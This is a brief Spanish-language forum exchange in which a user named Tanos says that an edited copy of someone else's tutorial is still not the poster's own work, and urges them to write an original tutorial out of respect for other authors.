Aun asi sigue siendolo

Editandolo no es tuyo, asi que a portada lo dudo seriamente.

Imagen de Tanos

Sobre contenido

Lo mejor sería que hicieras un tutorial desde 0 y con tus propias palabras. A nadie de aquí le gustaría ver un tutorial (o parte) suyo en otra página y con otro autor.

No es ningún obstáculo, es sólo respeto hacia los demás.

Saludos

Opciones de visualización de comentarios

Seleccione la forma que prefiera para mostrar los comentarios y haga clic en «Guardar las opciones» para activar los cambios.